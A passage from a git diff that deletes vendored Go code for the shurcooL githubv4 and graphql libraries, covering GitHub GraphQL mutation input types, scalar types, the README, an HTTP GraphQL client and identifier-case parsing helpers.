UpdateEnterpriseOrganizationProjectsSettingInput struct { - // The ID of the enterprise on which to set the organization projects setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the organization projects setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseProfileInput is an autogenerated input type of UpdateEnterpriseProfile. -type UpdateEnterpriseProfileInput struct { - // The Enterprise ID to update. (Required.) - EnterpriseID ID `json:"enterpriseId"` - - // The name of the enterprise. (Optional.) - Name *String `json:"name,omitempty"` - // The description of the enterprise. (Optional.) - Description *String `json:"description,omitempty"` - // The URL of the enterprise's website. (Optional.) - WebsiteURL *String `json:"websiteUrl,omitempty"` - // The location of the enterprise. (Optional.) - Location *String `json:"location,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseRepositoryProjectsSettingInput is an autogenerated input type of UpdateEnterpriseRepositoryProjectsSetting. -type UpdateEnterpriseRepositoryProjectsSettingInput struct { - // The ID of the enterprise on which to set the repository projects setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the repository projects setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseTeamDiscussionsSettingInput is an autogenerated input type of UpdateEnterpriseTeamDiscussionsSetting. -type UpdateEnterpriseTeamDiscussionsSettingInput struct { - // The ID of the enterprise on which to set the team discussions setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the team discussions setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledDisabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateEnterpriseTwoFactorAuthenticationRequiredSettingInput is an autogenerated input type of UpdateEnterpriseTwoFactorAuthenticationRequiredSetting. -type UpdateEnterpriseTwoFactorAuthenticationRequiredSettingInput struct { - // The ID of the enterprise on which to set the two factor authentication required setting. (Required.) - EnterpriseID ID `json:"enterpriseId"` - // The value for the two factor authentication required setting on the enterprise. (Required.) - SettingValue EnterpriseEnabledSettingValue `json:"settingValue"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateIssueCommentInput is an autogenerated input type of UpdateIssueComment. -type UpdateIssueCommentInput struct { - // The ID of the IssueComment to modify. (Required.) - ID ID `json:"id"` - // The updated text of the comment. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateIssueInput is an autogenerated input type of UpdateIssue. -type UpdateIssueInput struct { - // The ID of the Issue to modify. (Required.) - ID ID `json:"id"` - - // The title for the issue. (Optional.) - Title *String `json:"title,omitempty"` - // The body for the issue description. (Optional.) - Body *String `json:"body,omitempty"` - // An array of Node IDs of users for this issue. (Optional.) - AssigneeIDs *[]ID `json:"assigneeIds,omitempty"` - // The Node ID of the milestone for this issue. (Optional.) - MilestoneID *ID `json:"milestoneId,omitempty"` - // An array of Node IDs of labels for this issue. (Optional.) - LabelIDs *[]ID `json:"labelIds,omitempty"` - // The desired issue state. (Optional.) - State *IssueState `json:"state,omitempty"` - // An array of Node IDs for projects associated with this issue. (Optional.) - ProjectIDs *[]ID `json:"projectIds,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateProjectCardInput is an autogenerated input type of UpdateProjectCard. -type UpdateProjectCardInput struct { - // The ProjectCard ID to update. (Required.) - ProjectCardID ID `json:"projectCardId"` - - // Whether or not the ProjectCard should be archived. (Optional.) - IsArchived *Boolean `json:"isArchived,omitempty"` - // The note of ProjectCard. (Optional.) - Note *String `json:"note,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateProjectColumnInput is an autogenerated input type of UpdateProjectColumn. -type UpdateProjectColumnInput struct { - // The ProjectColumn ID to update. (Required.) - ProjectColumnID ID `json:"projectColumnId"` - // The name of project column. (Required.) - Name String `json:"name"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateProjectInput is an autogenerated input type of UpdateProject. -type UpdateProjectInput struct { - // The Project ID to update. (Required.) - ProjectID ID `json:"projectId"` - - // The name of project. (Optional.) - Name *String `json:"name,omitempty"` - // The description of project. (Optional.) - Body *String `json:"body,omitempty"` - // Whether the project is open or closed. (Optional.) - State *ProjectState `json:"state,omitempty"` - // Whether the project is public or not. (Optional.) - Public *Boolean `json:"public,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdatePullRequestInput is an autogenerated input type of UpdatePullRequest. -type UpdatePullRequestInput struct { - // The Node ID of the pull request. (Required.) - PullRequestID ID `json:"pullRequestId"` - - // The name of the branch you want your changes pulled into. This should be an existing branch on the current repository. (Optional.) - BaseRefName *String `json:"baseRefName,omitempty"` - // The title of the pull request. (Optional.) - Title *String `json:"title,omitempty"` - // The contents of the pull request. (Optional.) - Body *String `json:"body,omitempty"` - // The target state of the pull request. (Optional.) - State *PullRequestUpdateState `json:"state,omitempty"` - // Indicates whether maintainers can modify the pull request. (Optional.) - MaintainerCanModify *Boolean `json:"maintainerCanModify,omitempty"` - // An array of Node IDs of users for this pull request. (Optional.) - AssigneeIDs *[]ID `json:"assigneeIds,omitempty"` - // The Node ID of the milestone for this pull request. (Optional.) - MilestoneID *ID `json:"milestoneId,omitempty"` - // An array of Node IDs of labels for this pull request. (Optional.) - LabelIDs *[]ID `json:"labelIds,omitempty"` - // An array of Node IDs for projects associated with this pull request. (Optional.) - ProjectIDs *[]ID `json:"projectIds,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdatePullRequestReviewCommentInput is an autogenerated input type of UpdatePullRequestReviewComment. -type UpdatePullRequestReviewCommentInput struct { - // The Node ID of the comment to modify. (Required.) - PullRequestReviewCommentID ID `json:"pullRequestReviewCommentId"` - // The text of the comment. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdatePullRequestReviewInput is an autogenerated input type of UpdatePullRequestReview. -type UpdatePullRequestReviewInput struct { - // The Node ID of the pull request review to modify. (Required.) - PullRequestReviewID ID `json:"pullRequestReviewId"` - // The contents of the pull request review body. (Required.) - Body String `json:"body"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateRefInput is an autogenerated input type of UpdateRef. -type UpdateRefInput struct { - // The Node ID of the Ref to be updated. (Required.) - RefID ID `json:"refId"` - // The GitObjectID that the Ref shall be updated to target. (Required.) - Oid GitObjectID `json:"oid"` - - // Permit updates of branch Refs that are not fast-forwards?. (Optional.) - Force *Boolean `json:"force,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateRepositoryInput is an autogenerated input type of UpdateRepository. -type UpdateRepositoryInput struct { - // The ID of the repository to update. (Required.) - RepositoryID ID `json:"repositoryId"` - - // The new name of the repository. (Optional.) - Name *String `json:"name,omitempty"` - // A new description for the repository. Pass an empty string to erase the existing description. (Optional.) - Description *String `json:"description,omitempty"` - // Whether this repository should be marked as a template such that anyone who can access it can create new repositories with the same files and directory structure. (Optional.) - Template *Boolean `json:"template,omitempty"` - // The URL for a web page about this repository. Pass an empty string to erase the existing URL. (Optional.) - HomepageURL *URI `json:"homepageUrl,omitempty"` - // Indicates if the repository should have the wiki feature enabled. (Optional.) - HasWikiEnabled *Boolean `json:"hasWikiEnabled,omitempty"` - // Indicates if the repository should have the issues feature enabled. (Optional.) - HasIssuesEnabled *Boolean `json:"hasIssuesEnabled,omitempty"` - // Indicates if the repository should have the project boards feature enabled. (Optional.) - HasProjectsEnabled *Boolean `json:"hasProjectsEnabled,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateSubscriptionInput is an autogenerated input type of UpdateSubscription. -type UpdateSubscriptionInput struct { - // The Node ID of the subscribable object to modify. (Required.) - SubscribableID ID `json:"subscribableId"` - // The new state of the subscription. (Required.) - State SubscriptionState `json:"state"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateTeamDiscussionCommentInput is an autogenerated input type of UpdateTeamDiscussionComment. -type UpdateTeamDiscussionCommentInput struct { - // The ID of the comment to modify. (Required.) - ID ID `json:"id"` - // The updated text of the comment. (Required.) - Body String `json:"body"` - - // The current version of the body content. (Optional.) - BodyVersion *String `json:"bodyVersion,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateTeamDiscussionInput is an autogenerated input type of UpdateTeamDiscussion. -type UpdateTeamDiscussionInput struct { - // The Node ID of the discussion to modify. (Required.) - ID ID `json:"id"` - - // The updated title of the discussion. (Optional.) - Title *String `json:"title,omitempty"` - // The updated text of the discussion. (Optional.) - Body *String `json:"body,omitempty"` - // The current version of the body content. If provided, this update operation will be rejected if the given version does not match the latest version on the server. (Optional.) - BodyVersion *String `json:"bodyVersion,omitempty"` - // If provided, sets the pinned state of the updated discussion. (Optional.) - Pinned *Boolean `json:"pinned,omitempty"` - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UpdateTopicsInput is an autogenerated input type of UpdateTopics. -type UpdateTopicsInput struct { - // The Node ID of the repository. (Required.) - RepositoryID ID `json:"repositoryId"` - // An array of topic names. (Required.) - TopicNames []String `json:"topicNames"` - - // A unique identifier for the client performing the mutation. (Optional.) - ClientMutationID *String `json:"clientMutationId,omitempty"` -} - -// UserStatusOrder represents ordering options for user status connections. -type UserStatusOrder struct { - // The field to order user statuses by. (Required.) - Field UserStatusOrderField `json:"field"` - // The ordering direction. (Required.) - Direction OrderDirection `json:"direction"` -} diff --git a/vendor/github.com/shurcooL/githubv4/scalar.go b/vendor/github.com/shurcooL/githubv4/scalar.go deleted file mode 100644 index 56a395303f..0000000000 --- a/vendor/github.com/shurcooL/githubv4/scalar.go +++ /dev/null @@ -1,139 +0,0 @@ -package githubv4 - -import ( - "crypto/x509" - "encoding/json" - "fmt" - "net/url" - "time" - - "github.com/shurcooL/graphql" -) - -// Note: These custom types are meant to be used in queries for now. -// But the plan is to switch to using native Go types (string, int, bool, time.Time, etc.). -// See https://github.com/shurcooL/githubv4/issues/9 for details. -// -// These custom types currently provide documentation, and their use -// is required for sending outbound queries. However, native Go types -// can be used for unmarshaling. Once https://github.com/shurcooL/githubv4/issues/9 -// is resolved, native Go types can completely replace these. - -type ( - // Boolean represents true or false values. - Boolean graphql.Boolean - - // Date is an ISO-8601 encoded date. - Date struct{ time.Time } - - // DateTime is an ISO-8601 encoded UTC date. - DateTime struct{ time.Time } - - // Float represents signed double-precision fractional values as - // specified by IEEE 754. - Float graphql.Float - - // GitObjectID is a Git object ID. For example, - // "912ec1990bd09f8fc128c3fa6b59105085aabc03". - GitObjectID string - - // GitTimestamp is an ISO-8601 encoded date. - // Unlike the DateTime type, GitTimestamp is not converted in UTC. - GitTimestamp struct{ time.Time } - - // HTML is a string containing HTML code. - HTML string - - // ID represents a unique identifier that is Base64 obfuscated. It - // is often used to refetch an object or as key for a cache. The ID - // type appears in a JSON response as a String; however, it is not - // intended to be human-readable. When expected as an input type, - // any string (such as "VXNlci0xMA==") or integer (such as 4) input - // value will be accepted as an ID. - ID graphql.ID - - // Int represents non-fractional signed whole numeric values. - // Int can represent values between -(2^31) and 2^31 - 1. - Int graphql.Int - - // String represents textual data as UTF-8 character sequences. - // This type is most often used by GraphQL to represent free-form - // human-readable text. - String graphql.String - - // URI is an RFC 3986, RFC 3987, and RFC 6570 (level 4) compliant URI. - URI struct{ *url.URL } - - // X509Certificate is a valid x509 certificate. - X509Certificate struct{ *x509.Certificate } -) - -// MarshalJSON implements the json.Marshaler interface. -// The URI is a quoted string. -func (u URI) MarshalJSON() ([]byte, error) { - return json.Marshal(u.String()) -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -// The URI is expected to be a quoted string. -func (u *URI) UnmarshalJSON(data []byte) error { - // Ignore null, like in the main JSON package. - if string(data) == "null" { - return nil - } - var s string - err := json.Unmarshal(data, &s) - if err != nil { - return err - } - u.URL, err = url.Parse(s) - return err -} - -// MarshalJSON implements the json.Marshaler interface. -func (x X509Certificate) MarshalJSON() ([]byte, error) { - // TODO: Implement. - return nil, fmt.Errorf("X509Certificate.MarshalJSON: not implemented") -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -func (x *X509Certificate) UnmarshalJSON(data []byte) error { - // TODO: Implement. - return fmt.Errorf("X509Certificate.UnmarshalJSON: not implemented") -} - -// NewBoolean is a helper to make a new *Boolean. -func NewBoolean(v Boolean) *Boolean { return &v } - -// NewDate is a helper to make a new *Date. -func NewDate(v Date) *Date { return &v } - -// NewDateTime is a helper to make a new *DateTime. -func NewDateTime(v DateTime) *DateTime { return &v } - -// NewFloat is a helper to make a new *Float. -func NewFloat(v Float) *Float { return &v } - -// NewGitObjectID is a helper to make a new *GitObjectID. -func NewGitObjectID(v GitObjectID) *GitObjectID { return &v } - -// NewGitTimestamp is a helper to make a new *GitTimestamp. -func NewGitTimestamp(v GitTimestamp) *GitTimestamp { return &v } - -// NewHTML is a helper to make a new *HTML. -func NewHTML(v HTML) *HTML { return &v } - -// NewID is a helper to make a new *ID. -func NewID(v ID) *ID { return &v } - -// NewInt is a helper to make a new *Int. -func NewInt(v Int) *Int { return &v } - -// NewString is a helper to make a new *String. -func NewString(v String) *String { return &v } - -// NewURI is a helper to make a new *URI. -func NewURI(v URI) *URI { return &v } - -// NewX509Certificate is a helper to make a new *X509Certificate. -func NewX509Certificate(v X509Certificate) *X509Certificate { return &v } diff --git a/vendor/github.com/shurcooL/graphql/.travis.yml b/vendor/github.com/shurcooL/graphql/.travis.yml deleted file mode 100644 index 93b1fcdb31..0000000000 --- a/vendor/github.com/shurcooL/graphql/.travis.yml +++ /dev/null @@ -1,16 +0,0 @@ -sudo: false -language: go -go: - - 1.x - - master -matrix: - allow_failures: - - go: master - fast_finish: true -install: - - # Do nothing. This is needed to prevent default install action "go get -t -v ./..." from happening here (we want it to happen inside script step). -script: - - go get -t -v ./... - - diff -u <(echo -n) <(gofmt -d -s .) - - go tool vet . - - go test -v -race ./... diff --git a/vendor/github.com/shurcooL/graphql/LICENSE b/vendor/github.com/shurcooL/graphql/LICENSE deleted file mode 100644 index ca4c77642d..0000000000 --- a/vendor/github.com/shurcooL/graphql/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017 Dmitri Shuralyov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/shurcooL/graphql/README.md b/vendor/github.com/shurcooL/graphql/README.md deleted file mode 100644 index 6fa03bd4cd..0000000000 --- a/vendor/github.com/shurcooL/graphql/README.md +++ /dev/null @@ -1,293 +0,0 @@ -graphql -======= - -[![Build Status](https://travis-ci.org/shurcooL/graphql.svg?branch=master)](https://travis-ci.org/shurcooL/graphql) [![GoDoc](https://godoc.org/github.com/shurcooL/graphql?status.svg)](https://godoc.org/github.com/shurcooL/graphql) - -Package `graphql` provides a GraphQL client implementation. - -For more information, see package [`github.com/shurcooL/githubv4`](https://github.com/shurcooL/githubv4), which is a specialized version targeting GitHub GraphQL API v4. That package is driving the feature development. - -**Status:** In active early research and development. The API will change when opportunities for improvement are discovered; it is not yet frozen. - -Installation ------------- - -`graphql` requires Go version 1.8 or later. - -```bash -go get -u github.com/shurcooL/graphql -``` - -Usage ------ - -Construct a GraphQL client, specifying the GraphQL server URL. Then, you can use it to make GraphQL queries and mutations. - -```Go -client := graphql.NewClient("https://example.com/graphql", nil) -// Use client... -``` - -### Authentication - -Some GraphQL servers may require authentication. The `graphql` package does not directly handle authentication. Instead, when creating a new client, you're expected to pass an `http.Client` that performs authentication. The easiest and recommended way to do this is to use the [`golang.org/x/oauth2`](https://golang.org/x/oauth2) package. You'll need an OAuth token with the right scopes. Then: - -```Go -import "golang.org/x/oauth2" - -func main() { - src := oauth2.StaticTokenSource( - &oauth2.Token{AccessToken: os.Getenv("GRAPHQL_TOKEN")}, - ) - httpClient := oauth2.NewClient(context.Background(), src) - - client := graphql.NewClient("https://example.com/graphql", httpClient) - // Use client... -``` - -### Simple Query - -To make a GraphQL query, you need to define a corresponding Go type. - -For example, to make the following GraphQL query: - -```GraphQL -query { - me { - name - } -} -``` - -You can define this variable: - -```Go -var query struct { - Me struct { - Name graphql.String - } -} -``` - -Then call `client.Query`, passing a pointer to it: - -```Go -err := client.Query(context.Background(), &query, nil) -if err != nil { - // Handle error. -} -fmt.Println(query.Me.Name) - -// Output: Luke Skywalker -``` - -### Arguments and Variables - -Often, you'll want to specify arguments on some fields. You can use the `graphql` struct field tag for this. - -For example, to make the following GraphQL query: - -```GraphQL -{ - human(id: "1000") { - name - height(unit: METER) - } -} -``` - -You can define this variable: - -```Go -var q struct { - Human struct { - Name graphql.String - Height graphql.Float `graphql:"height(unit: METER)"` - } `graphql:"human(id: \"1000\")"` -} -``` - -Then call `client.Query`: - -```Go -err := client.Query(context.Background(), &q, nil) -if err != nil { - // Handle error. -} -fmt.Println(q.Human.Name) -fmt.Println(q.Human.Height) - -// Output: -// Luke Skywalker -// 1.72 -``` - -However, that'll only work if the arguments are constant and known in advance. Otherwise, you will need to make use of variables. Replace the constants in the struct field tag with variable names: - -```Go -var q struct { - Human struct { - Name graphql.String - Height graphql.Float `graphql:"height(unit: $unit)"` - } `graphql:"human(id: $id)"` -} -``` - -Then, define a `variables` map with their values: - -```Go -variables := map[string]interface{}{ - "id": graphql.ID(id), - "unit": starwars.LengthUnit("METER"), -} -``` - -Finally, call `client.Query` providing `variables`: - -```Go -err := client.Query(context.Background(), &q, variables) -if err != nil { - // Handle error. -} -``` - -### Inline Fragments - -Some GraphQL queries contain inline fragments. You can use the `graphql` struct field tag to express them. - -For example, to make the following GraphQL query: - -```GraphQL -{ - hero(episode: "JEDI") { - name - ... on Droid { - primaryFunction - } - ... on Human { - height - } - } -} -``` - -You can define this variable: - -```Go -var q struct { - Hero struct { - Name graphql.String - Droid struct { - PrimaryFunction graphql.String - } `graphql:"... on Droid"` - Human struct { - Height graphql.Float - } `graphql:"... on Human"` - } `graphql:"hero(episode: \"JEDI\")"` -} -``` - -Alternatively, you can define the struct types corresponding to inline fragments, and use them as embedded fields in your query: - -```Go -type ( - DroidFragment struct { - PrimaryFunction graphql.String - } - HumanFragment struct { - Height graphql.Float - } -) - -var q struct { - Hero struct { - Name graphql.String - DroidFragment `graphql:"... on Droid"` - HumanFragment `graphql:"... on Human"` - } `graphql:"hero(episode: \"JEDI\")"` -} -``` - -Then call `client.Query`: - -```Go -err := client.Query(context.Background(), &q, nil) -if err != nil { - // Handle error. -} -fmt.Println(q.Hero.Name) -fmt.Println(q.Hero.PrimaryFunction) -fmt.Println(q.Hero.Height) - -// Output: -// R2-D2 -// Astromech -// 0 -``` - -### Mutations - -Mutations often require information that you can only find out by performing a query first. Let's suppose you've already done that. - -For example, to make the following GraphQL mutation: - -```GraphQL -mutation($ep: Episode!, $review: ReviewInput!) { - createReview(episode: $ep, review: $review) { - stars - commentary - } -} -variables { - "ep": "JEDI", - "review": { - "stars": 5, - "commentary": "This is a great movie!" - } -} -``` - -You can define: - -```Go -var m struct { - CreateReview struct { - Stars graphql.Int - Commentary graphql.String - } `graphql:"createReview(episode: $ep, review: $review)"` -} -variables := map[string]interface{}{ - "ep": starwars.Episode("JEDI"), - "review": starwars.ReviewInput{ - Stars: graphql.Int(5), - Commentary: graphql.String("This is a great movie!"), - }, -} -``` - -Then call `client.Mutate`: - -```Go -err := client.Mutate(context.Background(), &m, variables) -if err != nil { - // Handle error. -} -fmt.Printf("Created a %v star review: %v\n", m.CreateReview.Stars, m.CreateReview.Commentary) - -// Output: -// Created a 5 star review: This is a great movie! -``` - -Directories ------------ - -| Path | Synopsis | -|----------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------| -| [example/graphqldev](https://godoc.org/github.com/shurcooL/graphql/example/graphqldev) | graphqldev is a test program currently being used for developing graphql package. | -| [ident](https://godoc.org/github.com/shurcooL/graphql/ident) | Package ident provides functions for parsing and converting identifier names between various naming convention. | -| [internal/jsonutil](https://godoc.org/github.com/shurcooL/graphql/internal/jsonutil) | Package jsonutil provides a function for decoding JSON into a GraphQL query data structure. | - -License -------- - -- [MIT License](LICENSE) diff --git a/vendor/github.com/shurcooL/graphql/doc.go b/vendor/github.com/shurcooL/graphql/doc.go deleted file mode 100644 index 69ec4e0387..0000000000 --- a/vendor/github.com/shurcooL/graphql/doc.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package graphql provides a GraphQL client implementation. -// -// For more information, see package github.com/shurcooL/githubv4, -// which is a specialized version targeting GitHub GraphQL API v4. -// That package is driving the feature development. -// -// Status: In active early research and development. The API will change when -// opportunities for improvement are discovered; it is not yet frozen. -// -// For now, see README for more details. -package graphql // import "github.com/shurcooL/graphql" diff --git a/vendor/github.com/shurcooL/graphql/graphql.go b/vendor/github.com/shurcooL/graphql/graphql.go deleted file mode 100644 index 85209562c6..0000000000 --- a/vendor/github.com/shurcooL/graphql/graphql.go +++ /dev/null @@ -1,123 +0,0 @@ -package graphql - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io/ioutil" - "net/http" - - "github.com/shurcooL/graphql/internal/jsonutil" - "golang.org/x/net/context/ctxhttp" -) - -// Client is a GraphQL client. -type Client struct { - url string // GraphQL server URL. - httpClient *http.Client -} - -// NewClient creates a GraphQL client targeting the specified GraphQL server URL. -// If httpClient is nil, then http.DefaultClient is used. -func NewClient(url string, httpClient *http.Client) *Client { - if httpClient == nil { - httpClient = http.DefaultClient - } - return &Client{ - url: url, - httpClient: httpClient, - } -} - -// Query executes a single GraphQL query request, -// with a query derived from q, populating the response into it. -// q should be a pointer to struct that corresponds to the GraphQL schema. -func (c *Client) Query(ctx context.Context, q interface{}, variables map[string]interface{}) error { - return c.do(ctx, queryOperation, q, variables) -} - -// Mutate executes a single GraphQL mutation request, -// with a mutation derived from m, populating the response into it. -// m should be a pointer to struct that corresponds to the GraphQL schema. -func (c *Client) Mutate(ctx context.Context, m interface{}, variables map[string]interface{}) error { - return c.do(ctx, mutationOperation, m, variables) -} - -// do executes a single GraphQL operation. -func (c *Client) do(ctx context.Context, op operationType, v interface{}, variables map[string]interface{}) error { - var query string - switch op { - case queryOperation: - query = constructQuery(v, variables) - case mutationOperation: - query = constructMutation(v, variables) - } - in := struct { - Query string `json:"query"` - Variables map[string]interface{} `json:"variables,omitempty"` - }{ - Query: query, - Variables: variables, - } - var buf bytes.Buffer - err := json.NewEncoder(&buf).Encode(in) - if err != nil { - return err - } - resp, err := ctxhttp.Post(ctx, c.httpClient, c.url, "application/json", &buf) - if err != nil { - return err - } - defer resp.Body.Close() - if resp.StatusCode != http.StatusOK { - body, _ := ioutil.ReadAll(resp.Body) - return fmt.Errorf("non-200 OK status code: %v body: %q", resp.Status, body) - } - var out struct { - Data *json.RawMessage - Errors errors - //Extensions interface{} // Unused. - } - err = json.NewDecoder(resp.Body).Decode(&out) - if err != nil { - // TODO: Consider including response body in returned error, if deemed helpful. - return err - } - if out.Data != nil { - err := jsonutil.UnmarshalGraphQL(*out.Data, v) - if err != nil { - // TODO: Consider including response body in returned error, if deemed helpful. - return err - } - } - if len(out.Errors) > 0 { - return out.Errors - } - return nil -} - -// errors represents the "errors" array in a response from a GraphQL server. -// If returned via error interface, the slice is expected to contain at least 1 element. -// -// Specification: https://facebook.github.io/graphql/#sec-Errors. -type errors []struct { - Message string - Locations []struct { - Line int - Column int - } -} - -// Error implements error interface. -func (e errors) Error() string { - return e[0].Message -} - -type operationType uint8 - -const ( - queryOperation operationType = iota - mutationOperation - //subscriptionOperation // Unused. -) diff --git a/vendor/github.com/shurcooL/graphql/ident/ident.go b/vendor/github.com/shurcooL/graphql/ident/ident.go deleted file mode 100644 index 29e498ed9e..0000000000 --- a/vendor/github.com/shurcooL/graphql/ident/ident.go +++ /dev/null @@ -1,240 +0,0 @@ -// Package ident provides functions for parsing and converting identifier names -// between various naming convention. It has support for MixedCaps, lowerCamelCase, -// and SCREAMING_SNAKE_CASE naming conventions. -package ident - -import ( - "strings" - "unicode" - "unicode/utf8" -) - -// ParseMixedCaps parses a MixedCaps identifier name. -// -// E.g., "ClientMutationID" -> {"Client", "Mutation", "ID"}. -func ParseMixedCaps(name string) Name { - var words Name - - // Split name at any lower -> Upper or Upper -> Upper,lower transitions. - // Check each word for initialisms. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if unicode.IsLower(runes[i]) && unicode.IsUpper(runes[i+1]) { - // lower -> Upper. - eow = true - } else if i+2 < len(runes) && unicode.IsUpper(runes[i]) && unicode.IsUpper(runes[i+1]) && unicode.IsLower(runes[i+2]) { - // Upper -> Upper,lower. End of acronym, followed by a word. - eow = true - - if string(runes[i:i+3]) == "IDs" { // Special case, plural form of ID initialism. - eow = false - } - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - word := string(runes[w:i]) - if initialism, ok := isInitialism(word); ok { - words = append(words, initialism) - } else if i1, i2, ok := isTwoInitialisms(word); ok { - words = append(words, i1, i2) - } else { - words = append(words, word) - } - w = i - } - return words -} - -// ParseLowerCamelCase parses a lowerCamelCase identifier name. -// -// E.g., "clientMutationId" -> {"client", "Mutation", "Id"}. -func ParseLowerCamelCase(name string) Name { - var words Name - - // Split name at any Upper letters. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if unicode.IsUpper(runes[i+1]) { - // Upper letter. - eow = true - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - words = append(words, string(runes[w:i])) - w = i - } - return words -} - -// ParseScreamingSnakeCase parses a SCREAMING_SNAKE_CASE identifier name. -// -// E.g., "CLIENT_MUTATION_ID" -> {"CLIENT", "MUTATION", "ID"}. -func ParseScreamingSnakeCase(name string) Name { - var words Name - - // Split name at '_' characters. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if runes[i+1] == '_' { - // Underscore. - eow = true - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - words = append(words, string(runes[w:i])) - if i < len(runes) && runes[i] == '_' { - // Skip underscore. - i++ - } - w = i - } - return words -} - -// Name is an identifier name, broken up into individual words. -type Name []string - -// ToMixedCaps expresses identifer name in MixedCaps naming convention. -// -// E.g., "ClientMutationID". -func (n Name) ToMixedCaps() string { - for i, word := range n { - if strings.EqualFold(word, "IDs") { // Special case, plural form of ID initialism. - n[i] = "IDs" - continue - } - if initialism, ok := isInitialism(word); ok { - n[i] = initialism - continue - } - if brand, ok := isBrand(word); ok { - n[i] = brand - continue - } - r, size := utf8.DecodeRuneInString(word) - n[i] = string(unicode.ToUpper(r)) + strings.ToLower(word[size:]) - } - return strings.Join(n, "") -} - -// ToLowerCamelCase expresses identifer name in lowerCamelCase naming convention. -// -// E.g., "clientMutationId". -func (n Name) ToLowerCamelCase() string { - for i, word := range n { - if i == 0 { - n[i] = strings.ToLower(word) - continue - } - r, size := utf8.DecodeRuneInString(word) - n[i] = string(unicode.ToUpper(r)) + strings.ToLower(word[size:]) - } - return strings.Join(n, "") -} - -// isInitialism reports whether word is an initialism. -func isInitialism(word string) (string, bool) { - initialism := strings.ToUpper(word) - _, ok := initialisms[initialism] - return initialism, ok -} - -// isTwoInitialisms reports whether word is two initialisms. -func isTwoInitialisms(word string) (string, string, bool) { - word = strings.ToUpper(word) - for i := 2; i <= len(word)-2; i++ { // Shortest initialism is 2 characters long. - _, ok1 := initialisms[word[:i]] - _, ok2 := initialisms[word[i:]] - if ok1 && ok2 { - return word[:i], word[i:], true - } - } - return "", "", false -} - -// initialisms is the set of initialisms in the MixedCaps naming convention. -// Only add entries 